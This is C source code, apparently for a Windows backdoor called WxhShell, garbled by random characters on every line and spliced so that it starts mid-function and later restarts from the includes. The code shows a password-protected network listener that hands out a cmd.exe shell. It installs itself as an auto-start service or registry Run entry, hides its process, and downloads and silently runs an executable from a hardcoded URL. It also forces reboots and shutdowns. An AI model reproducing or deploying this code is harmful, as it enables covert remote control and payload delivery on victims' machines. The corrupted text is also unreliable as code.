    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #]\Uk,mhZB  
    if(Boot(SHUTDOWN)) ^ gdaa>L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*u8/U  
    else { `}p0VmD{NE  
    closesocket(wsh);  on4HKeO  
    ExitThread(0); iDpSj!x/_  
    } ./\@Km?  
    break; y'3rNa]G1  
    } /4yo`  
  // 获取shell K%t*8 4j  
  case 's': { Kew@&j~  
    CmdShell(wsh); y\/1/WjBn  
    closesocket(wsh); ))qy;Q,  
    ExitThread(0); x'8x   
    break; p'Y^ X  
  } [F+}V,  
  // 退出 'lH|eU&-  
  case 'x': { 8=!D$t\3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n*h)'8`Ut  
    CloseIt(wsh); -{("mR&]  
    break; A[B<~  
    } &5>Kl}7  
  // 离开 0Fq} N  
  case 'q': { T~-ycVc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,<.V7(|t)  
    closesocket(wsh); P?%s #I:  
    WSACleanup(); D ;RiGW4  
    exit(1); 9[#pIPxNK  
    break; |NlO7aQ>2H  
        } ~?l | [  
  } ~$c\JKH-  
  } 1v y*{D  
\<bx [,?  
  // 提示信息 ."g`3tVK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B.=FSow  
} .7J#_* N V  
  } pd?M f=>#  
G0Iw-vf  
  return; )Om*@;r(  
} &s(^@OayE  
P1!qbFDv8  
// shell模块句柄 )705V|v  
int CmdShell(SOCKET sock) Zj(AJ*r  
{ VG5i{1  0  
STARTUPINFO si; 7P } W *  
ZeroMemory(&si,sizeof(si)); 9i:L&dN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;[ZEDF5H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IW5,7.  
PROCESS_INFORMATION ProcessInfo; e1yt9@k,  
char cmdline[]="cmd"; nkPh,X\N0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =F|{# F  
  return 0; /'SNw?&  
} U4'#T%*  
@NR>{Eg  
// 自身启动模式 . '6gZKXY  
int StartFromService(void) 7g^]:3f!   
{ XPc^Tq  
typedef struct [NTzcSN.  
{ : 6jbt:  
  DWORD ExitStatus; .xCZ1|+gG  
  DWORD PebBaseAddress; x>K Or,f  
  DWORD AffinityMask; 4Z3su^XR  
  DWORD BasePriority; 6jaEv#  
  ULONG UniqueProcessId; /|}EL%a  
  ULONG InheritedFromUniqueProcessId; iqsCB%;5  
}   PROCESS_BASIC_INFORMATION; A`%k:@  
U gat1Pz  
PROCNTQSIP NtQueryInformationProcess; g&L!1<, p  
70?\ugxA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z-%\ <zT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ic:zsuEm  
G[PtkPSJ  
  HANDLE             hProcess; #~]zhHI  
  PROCESS_BASIC_INFORMATION pbi; 'ms-*c&  
}rUN_.n4z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q1x`Bj   
  if(NULL == hInst ) return 0; `7E;VL^Y1  
T=DbBy0-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yZY\MB/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i}f"yO+Q+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iQ67l\{R  
LE Nq_@$  
  if (!NtQueryInformationProcess) return 0; bIDj[-CDG  
K-)] 1BG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >NV @R&  
  if(!hProcess) return 0; zaIKdI'/e  
fUWG*o9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Zx0%#6  
h8q[1"a:  
  CloseHandle(hProcess); dlh)gp;  
6GlJ>r+n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RMV/&85?y  
if(hProcess==NULL) return 0; Qp5VP@t  
g{)dP!}  
HMODULE hMod; ^LnTOdAE  
char procName[255]; B3`5O[ 6  
unsigned long cbNeeded; {lzWrUGO  
QW~E&B%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6Igz:eX  
,<_A2t 2  
  CloseHandle(hProcess);  4\N ;2N  
!qQl@j O  
if(strstr(procName,"services")) return 1; // 以服务启动 eS^7A}*wd-  
z|J_b"u4  
  return 0; // 注册表启动 *8A  
} h+H%?:FX  
>h9I M$2  
// 主模块 df+l%9@  
int StartWxhshell(LPSTR lpCmdLine) )r?}P1J7  
{ KZY}%il!`  
  SOCKET wsl; _yx>TE2e  
BOOL val=TRUE; *KF#'wi  
  int port=0; e2Pcm_Ahv*  
  struct sockaddr_in door; D/gw .XYL  
.hb:s,0mP  
  if(wscfg.ws_autoins) Install(); 5 V~oIL  
C 82omL  
port=atoi(lpCmdLine); Qy<P463A(l  
wU36sCo  
if(port<=0) port=wscfg.ws_port; ~vhE|f  
BwEN~2u6  
  WSADATA data; _.Nbt(mz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SHxNr(wJ<Q  
wW P}C D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eQm1cgMdz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (8DC}kckE  
  door.sin_family = AF_INET; -7[@R;FS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7F7 {)L  
  door.sin_port = htons(port); RLXL&  
,-LwtePJ0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NA`SyKtg_  
closesocket(wsl); Rok7n1gW  
return 1; UgSB>V<?  
} O6 3<AY@  
2wg5#i  
  if(listen(wsl,2) == INVALID_SOCKET) { )EuvRLo{S7  
closesocket(wsl); uAq~=)F>,  
return 1; ua$GNm  
} e]"W!K cD9  
  Wxhshell(wsl); Fyx|z'4b  
  WSACleanup(); {4}yKjW%z  
pj{`'; :g  
return 0; XEp{VC@=  
]cWUZ{puRB  
} 4he GnMD  
On:il$MU  
// 以NT服务方式启动 u%KTNa0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D/xbF`  
{ TER=*"!  
DWORD   status = 0; (t K||*u  
  DWORD   specificError = 0xfffffff; 3S@7]Pg  
(`>+zT5aH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %lhEM}Sm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \ZFGw&yN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KP^V>9q  
  serviceStatus.dwWin32ExitCode     = 0; `2WFk8) F  
  serviceStatus.dwServiceSpecificExitCode = 0; )[6U^j4  
  serviceStatus.dwCheckPoint       = 0; ZY={8T@  
  serviceStatus.dwWaitHint       = 0; <?6|.\&  
#U4F0BdA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gr'  CtO  
  if (hServiceStatusHandle==0) return; bHYy}weZ  
X/!o\yyT  
status = GetLastError(); 6 7.+ .2  
  if (status!=NO_ERROR) [Td4K.c  
{ `pa!~|p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {hjhL: pg  
    serviceStatus.dwCheckPoint       = 0; ~ "H,/m%2o  
    serviceStatus.dwWaitHint       = 0; {SPq$B_VR  
    serviceStatus.dwWin32ExitCode     = status; )p0^zv{  
    serviceStatus.dwServiceSpecificExitCode = specificError; l`{\"#4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = `F(B  
    return; IB"w&sBy  
  } L(<*)No  
#e1>H1eU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sN*N&XG  
  serviceStatus.dwCheckPoint       = 0; . B9iLI  
  serviceStatus.dwWaitHint       = 0; LVfF[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DB|Y  
} &K.d'$q  
]L $\ #  
// 处理NT服务事件,比如:启动、停止 3?9IJ5p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YeL#jtC  
{ K~{$oD7!  
switch(fdwControl) o3^l~iT  
{ `/XY>T}-  
case SERVICE_CONTROL_STOP: :yr+vcD?  
  serviceStatus.dwWin32ExitCode = 0; e0zq1XcZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wLH>:yKUU  
  serviceStatus.dwCheckPoint   = 0; ~O0 $Suv  
  serviceStatus.dwWaitHint     = 0; y/{fX(aV  
  { )JLdO*H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nI-w}NQ  
  } H3 ^},.  
  return; n8 i] z  
case SERVICE_CONTROL_PAUSE: ,, OW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !8d{q)JZ  
  break; ["93~[[^  
case SERVICE_CONTROL_CONTINUE: kk@fL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =_2jK0+}l  
  break; ,t?B+$E  
case SERVICE_CONTROL_INTERROGATE: k8[n+^  
  break; mbxZL<ua  
}; h$>-.-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9gDkTYkj  
} T|eu  
 :D6 ON"6  
// 标准应用程序主函数 m)t;9J5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b9J_1Gl]  
{ ]"hFC<w  
m@2QnA[ 4  
// 获取操作系统版本 OmpND{w  
OsIsNt=GetOsVer(); RuA*YV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y<|7z99L  
O7m(o:t x3  
  // 从命令行安装 mb TEp*H  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lv;^My  
%KhI>O<  
  // 下载执行文件 Ys!82M$g  
if(wscfg.ws_downexe) { X ::JV7hu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E)5\i-n  
  WinExec(wscfg.ws_filenam,SW_HIDE); *20jz<  
}  EoR}Af  
FEz-+X<q2  
if(!OsIsNt) { 3 *"WG O5  
// 如果时win9x,隐藏进程并且设置为注册表启动 {0wIR_dGX  
HideProc(); DS(}<HK{  
StartWxhshell(lpCmdLine); l'-Bu(  
} qFCOUl  
else %9F([K  
  if(StartFromService()) vjGo;+K  
  // 以服务方式启动 |O\s|H  
  StartServiceCtrlDispatcher(DispatchTable); iAEbu&XG  
else +US!YU  
  // 普通方式启动 :Uzm  
  StartWxhshell(lpCmdLine); M#4p E_G  
30#s aGV  
return 0; /tx]5`#@7]  
} ;~ )5s'  
y| i,|  
? r "{}%  
|^"1{7)  
=========================================== )Xz,j9GzJS  
rxvx  
MDZ640-Y  
KK/tu+"  
2>xF){`  
np"\19^  
" X; \+<LE  
a od-3"7[  
#include <stdio.h> |}s*E_/[  
#include <string.h> b.JuI  
#include <windows.h> VK\X&Y3l  
#include <winsock2.h> ar!R|zmf  
#include <winsvc.h> 58tARLDr  
#include <urlmon.h> *k(XW_>  
y*jp79G  
#pragma comment (lib, "Ws2_32.lib") jjB~G^n  
#pragma comment (lib, "urlmon.lib") h,u, ^ r  
PB\(=  
#define MAX_USER   100 // 最大客户端连接数 B[Ku\A6&  
#define BUF_SOCK   200 // sock buffer )1J R#  
#define KEY_BUFF   255 // 输入 buffer n`B:;2X,  
Ct<udO  
#define REBOOT     0   // 重启 H7&8\ FNa  
#define SHUTDOWN   1   // 关机 FF`T\&u  
by1<[$8r  
#define DEF_PORT   5000 // 监听端口 Olt?~}  
#?U}&Bd  
#define REG_LEN     16   // 注册表键长度 ,*TmIPNK  
#define SVC_LEN     80   // NT服务名长度 M>xK+q?O  
.=7vI$ujd  
// 从dll定义API Mlg0WrJ|2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  L2[($l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hc(#{]].  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KEo ,m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ios&n)W&  
WtsFz*`)y  
// wxhshell配置信息 ?|\ER#z  
struct WSCFG { f M :]&  
  int ws_port;         // 监听端口 T?CdZc.  
  char ws_passstr[REG_LEN]; // 口令 ~OYiq}g  
  int ws_autoins;       // 安装标记, 1=yes 0=no x*\Y)9Vgy  
  char ws_regname[REG_LEN]; // 注册表键名 { =9,n\85#  
  char ws_svcname[REG_LEN]; // 服务名 zOAd~E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %8B}Cb&2c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iJI }TVep#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I3{PZhU.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CAig ]=2'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wq D4YGN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2G & a{  
d=$Mim  
}; Z!a =dnwHz  
~k-y &<UR  
// default Wxhshell configuration Zgp4`)}:  
struct WSCFG wscfg={DEF_PORT, Tt`u:ZwhF  
    "xuhuanlingzhe", #'nr Er <  
    1, P+ 3G~Sr  
    "Wxhshell", xf\C|@i  
    "Wxhshell", e9Wa<i 8  
            "WxhShell Service", hE'-is@7  
    "Wrsky Windows CmdShell Service", 4$HhP, gL=  
    "Please Input Your Password: ", +5g_KS  
  1, &T?RZ2  
  "http://www.wrsky.com/wxhshell.exe", oz\!V*CtK  
  "Wxhshell.exe" K-^\" W8  
    }; q5J5>  
Gt8M&S-;  
// 消息定义模块 ,a{P4Bq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;IvY^(YS@;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8rAg \H3E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WH#1 zv  
char *msg_ws_ext="\n\rExit."; > ym,{EHK  
char *msg_ws_end="\n\rQuit."; rQ{7j!Im  
char *msg_ws_boot="\n\rReboot..."; )` SrfGp8  
char *msg_ws_poff="\n\rShutdown..."; Hp|kQJ[LE  
char *msg_ws_down="\n\rSave to "; b"<liGh"n-  
#X+JHl  
char *msg_ws_err="\n\rErr!"; T8?Ghbn  
char *msg_ws_ok="\n\rOK!"; ,1.p%UE]>  
<6%?OJhp  
char ExeFile[MAX_PATH]; e-})6)XgA  
int nUser = 0; GLH0 ]  
HANDLE handles[MAX_USER]; U#7#aeI  
int OsIsNt; p}}R-D&K  
x xHY+(m  
SERVICE_STATUS       serviceStatus; '|6]_   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @(EAq<5{  
1SQ3-WU s  
// 函数声明 h6L&\~pf  
int Install(void); D%[mWc@1I  
int Uninstall(void); r(>@qGN  
int DownloadFile(char *sURL, SOCKET wsh); k>Is:P  
int Boot(int flag); VD;01"#'  
void HideProc(void); l5Uiw2  
int GetOsVer(void); <`8n^m*  
int Wxhshell(SOCKET wsl); gmUz9P(  
void TalkWithClient(void *cs); P1. [  
int CmdShell(SOCKET sock); f=l rg KE  
int StartFromService(void); nmee 'oEw  
int StartWxhshell(LPSTR lpCmdLine); |"q5sym8Y_  
W<h)HhyG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k&M;,e3v6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `z}?"BW|  
yt+L0wzzB  
// 数据结构和表定义 (fH#I tf  
SERVICE_TABLE_ENTRY DispatchTable[] = [~+wk9P  
{ 2"v6 >b%  
{wscfg.ws_svcname, NTServiceMain}, c8 )DuJ#U  
{NULL, NULL} + )AG*  
}; aL\PGdgO  
L8@f-Kk  
// 自我安装 c`)\Pb/O  
int Install(void) KWbI'}_z  
{ ;HfmzY(  
  char svExeFile[MAX_PATH]; '?{OZXg  
  HKEY key; EgEa1l!NSQ  
  strcpy(svExeFile,ExeFile); dM.f]-g  
pHGYQ;:L  
// 如果是win9x系统,修改注册表设为自启动 B B{$&Oh  
if(!OsIsNt) { ]6,\r"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O0x,lq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 &jc/*Z"  
  RegCloseKey(key); M/B_#yK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RXMISt3+{y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /aCc17>2V{  
  RegCloseKey(key); ^cC,.Fdw  
  return 0; {S]}.7`l9(  
    } olB.*#gA  
  } o+iiST JEe  
} .D"m@~j7  
else { 5+4IN5o]=  
%@J.{@>  
// 如果是NT以上系统,安装为系统服务 LG9+GszX 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VcE:G#]5  
if (schSCManager!=0) }^WdJd]P  
{ RF$eQzW  
  SC_HANDLE schService = CreateService d UE,U=  
  ( b<[Or^X ]  
  schSCManager, *uRBzO}  
  wscfg.ws_svcname, PA{PD.4Du  
  wscfg.ws_svcdisp, dw>C@c#"  
  SERVICE_ALL_ACCESS, _ gR;=~S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KJUH(]>F  
  SERVICE_AUTO_START, (*9$`!wS  
  SERVICE_ERROR_NORMAL, C\3rJy(VJ  
  svExeFile, FW;?s+Uyx  
  NULL, 'T;P;:!\  
  NULL, {_"<1C  
  NULL, HQ_Ok `  
  NULL, ^rR1ZVY  
  NULL v |,1[i{  
  ); wYXQlxdy  
  if (schService!=0) :wyno#8`-  
  { Vi$~-6n&  
  CloseServiceHandle(schService); "m$##X\  
  CloseServiceHandle(schSCManager); IZ-1c1   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J9nX"Sb  
  strcat(svExeFile,wscfg.ws_svcname); PCee<W_%YE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / y40(l?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \[i1JG  
  RegCloseKey(key); gnf8 l?M  
  return 0; [ZwjOi:)  
    } wc@X.Q[  
  } e`_LEv  
  CloseServiceHandle(schSCManager); &ee~p&S,>  
} hp50J  
} e(;,`L\*  
z]y.W`i   
return 1; 2eS~/Pq5=i  
} =!A_^;NQf  
%g$o/A$  
// 自我卸载 \A#41  
int Uninstall(void) Q~]uC2Mw  
{ F`W?II?  
  HKEY key; c9 eM/*:  
cGzPI +F  
if(!OsIsNt) { OX0%C.K)hZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i v38p%Zm  
  RegDeleteValue(key,wscfg.ws_regname); :uS\3toj  
  RegCloseKey(key); :gibfk]C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /)>3Nq4Zx  
  RegDeleteValue(key,wscfg.ws_regname); Y;M|D'y+  
  RegCloseKey(key); 1z4OI6$Af  
  return 0; BsDn5\ q  
  } [ -K&R  
} ^ig' bw+WS  
} h 0Q5-EA  
else { 9d659i C  
^98~U\ar  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tn e4  
if (schSCManager!=0) qOtgve`jX  
{ :6 R\OeH+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k@J&IJ  
  if (schService!=0) >z>!Luw  
  { '3fu  
  if(DeleteService(schService)!=0) { s?}e^/"v  
  CloseServiceHandle(schService); :J@ gmY:C  
  CloseServiceHandle(schSCManager); + .[ <%  
  return 0; ,/I.t DH  
  } prF%.(G2)  
  CloseServiceHandle(schService); =z69e%.  
  } ` p-cSxR_  
  CloseServiceHandle(schSCManager); %)W2H^  
} &)ChQZA  
} U(g:zae  
L|xbR#v  
return 1; 0RLg:SV  
} {rw|#Z>A  
&%DY\*  
// 从指定url下载文件 ;bib/  
int DownloadFile(char *sURL, SOCKET wsh) 8qTys8  
{ dn+KH+v  
  HRESULT hr; s};{ZAtE  
char seps[]= "/"; ?Ep [M:,q  
char *token; LckK\`mh  
char *file; =s2*H8]  
char myURL[MAX_PATH]; *)T^Ch D,  
char myFILE[MAX_PATH]; ~Ea} /Au  
4F'LBS]=0  
strcpy(myURL,sURL); Jhhb7uU+  
  token=strtok(myURL,seps); 266h\2t6  
  while(token!=NULL) E,U+o $  
  { $|@@Qk/T  
    file=token; g |yvF-+  
  token=strtok(NULL,seps); xF'EiX~  
  } E A1?)|}n  
WiR(;m<g  
GetCurrentDirectory(MAX_PATH,myFILE); ]72`};  
strcat(myFILE, "\\"); *zvx$yJ?  
strcat(myFILE, file); (exa<hh  
  send(wsh,myFILE,strlen(myFILE),0); b9HtR-iR;  
send(wsh,"...",3,0); 6j]0R*B7`Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]MitOkX  
  if(hr==S_OK) g7`LEF <A  
return 0;  w``ST  
else <)c)%'v  
return 1; 9IfmW^0  
;))+>%SGCt  
} c9u`!'g`i  
l4YJ c  
// 系统电源模块 {@{']Y  
int Boot(int flag) Vaw+.sG`AP  
{ m nX2a  
  HANDLE hToken; 7WS p($  
  TOKEN_PRIVILEGES tkp; %RRNJf}z  
G@X% +$I  
  if(OsIsNt) { 051 E6-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |{NYkw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oQVgyj.  
    tkp.PrivilegeCount = 1; :bq8N@P/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hd ={CFip  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A[{yCn`tM  
if(flag==REBOOT) { ,Ah;A[%?~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  {Gk1vcq  
  return 0; ZG8DIV\D7  
} D.u{~  
else { mL{6L?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "&?kC2Y|  
  return 0; )g%d:xI  
} `e&Suyf4B  
  } G}raA%  
  else { <=/hi l  
if(flag==REBOOT) { L^?qOylu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +lcbi  
  return 0; 4p;`C  
} #r\4sVg  
else { .|fH y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p]+Pkxz]'  
  return 0; j>"@,B g*  
} J<h $ wM  
} `l[c_%Bm  
.?sx&2R2  
return 1; !M1"b;  
} 3,qr-g|;jM  
;$wVu|&  
// win9x进程隐藏模块 !?h;wR  
void HideProc(void) bJTBjS-7  
{ iz PDd{[  
z$. 88 ^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `dN@u@[\ks  
  if ( hKernel != NULL ) P}^W)@+3k  
  { ?NsW|w_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =X:Y,?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E*K;H8}s  
    FreeLibrary(hKernel); )F]]m#`  
  } 7[XRd9a5(  
+\ .Lp 5  
return; jm/`iXnMf  
} CkQ3#L<2  
_)m]_eS._  
// 获取操作系统版本 0 /U{p,r6`  
int GetOsVer(void) Kis"L(C  
{ yWo; a  
  OSVERSIONINFO winfo; I1M%J@Cz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VjZ|$k  
  GetVersionEx(&winfo); `b7t4d*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Iit; F  
  return 1; ?IT*: A] E  
  else . 3T3E X|G  
  return 0; ( ^Nz9{  
} )Y{L&A  
+',S]Edx  
// 客户端句柄模块 +a{1)nCXe  
int Wxhshell(SOCKET wsl) Hf2_0wA3  
{ RMu~l@  
  SOCKET wsh; <R=Zs[9M1  
  struct sockaddr_in client; >_T-u<E  
  DWORD myID; y _k l:Ssa  
$B5aje}i  
  while(nUser<MAX_USER) tFOhL9T  
{ Txb#C[`  
  int nSize=sizeof(client); kUrkG80q|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j{+.tIzpq[  
  if(wsh==INVALID_SOCKET) return 1; [/41% B2  
/"Uqa,{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R8Fv{7]c  
if(handles[nUser]==0) =MDys b&:  
  closesocket(wsh); 5K8^WK  
else oQ[f,7u  
  nUser++; ;+ hH  
  } v;D~Pa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y O}<Ytx  
/!XVHkX[  
  return 0; 60?%<oJ oH  
} tW}'g:s  
\xw5JGm  
// 关闭 socket q(W3i^778  
void CloseIt(SOCKET wsh) FP4P|kl/9'  
{ '3^'B0 3  
closesocket(wsh); *_\_'@1|J)  
nUser--; Yufc{M00  
ExitThread(0); $suzW;{#  
} v O_*yh1  
:nOFR$ W  
// 客户端请求句柄 d)Y}>@:W  
void TalkWithClient(void *cs) TJXT-\Vk  
{ w@w(-F!%l  
U26}gT)  
  SOCKET wsh=(SOCKET)cs; 5vnrA'BhBU  
  char pwd[SVC_LEN]; .V8Lauz8  
  char cmd[KEY_BUFF]; z1X`o  
char chr[1]; 5 #E`=C%  
int i,j; &`2)V;t  
8$Y9ORs4  
  while (nUser < MAX_USER) { lA8`l>I  
di )L[<$DY  
if(wscfg.ws_passstr) { :P0mx   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -r]W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _L=h0H l  
  //ZeroMemory(pwd,KEY_BUFF); l}K37f  
      i=0; mrtb*7`$  
  while(i<SVC_LEN) { 4ID5q~  
_u QOHwn  
  // 设置超时 <=C!VVk4f  
  fd_set FdRead; <x>M o   
  struct timeval TimeOut; or}[h09qA  
  FD_ZERO(&FdRead); Z=vU}S>r|v  
  FD_SET(wsh,&FdRead); OYn}5RN  
  TimeOut.tv_sec=8; FXkM#}RgNm  
  TimeOut.tv_usec=0; yEE*B:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zp=U W*g^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }b.%Im<3R  
FJ)$f?=Qd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n,WqyNt*  
  pwd=chr[0]; s|r3Gv|G  
  if(chr[0]==0xd || chr[0]==0xa) { h>m"GpF x  
  pwd=0; k~1?VQ+?M  
  break; >}6%#CAf  
  } 3L}A3de'  
  i++; St*h>V6  
    } PB\x3pV!}  
u.xnOcOH!  
  // 如果是非法用户,关闭 socket s?L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B:'US&6Lf'  
} ,r\o}E2  
YS"=yye 3e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P71Lqy)5}A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "S?z@ i(K^  
WNrk}LFof  
while(1) { >e$PP8&i_T  
</*6wpN  
  ZeroMemory(cmd,KEY_BUFF); h2fNuu"  
}:)&u|d_  
      // 自动支持客户端 telnet标准   o|["SYIf  
  j=0; gc$l^`+M  
  while(j<KEY_BUFF) { O3kA;[f;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JDT`C2-Q  
  cmd[j]=chr[0]; j|#Bo:2km  
  if(chr[0]==0xa || chr[0]==0xd) { DEZve Qr=  
  cmd[j]=0; H"WprHe  
  break; + ksVtG,  
  } $yNS pNmT0  
  j++; tK\~A,=  
    } E hMNap}5"  
z-)O9PV  
  // 下载文件 Lw>N rY(Y  
  if(strstr(cmd,"http://")) { BnasI;yWb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #S"nF@   
  if(DownloadFile(cmd,wsh)) *gWwALGo5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-sHWYZ  
  else @E|}Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oXF.1f/h  
  } P/_['7  
  else { YUk\Q%  
brUF6rQ  
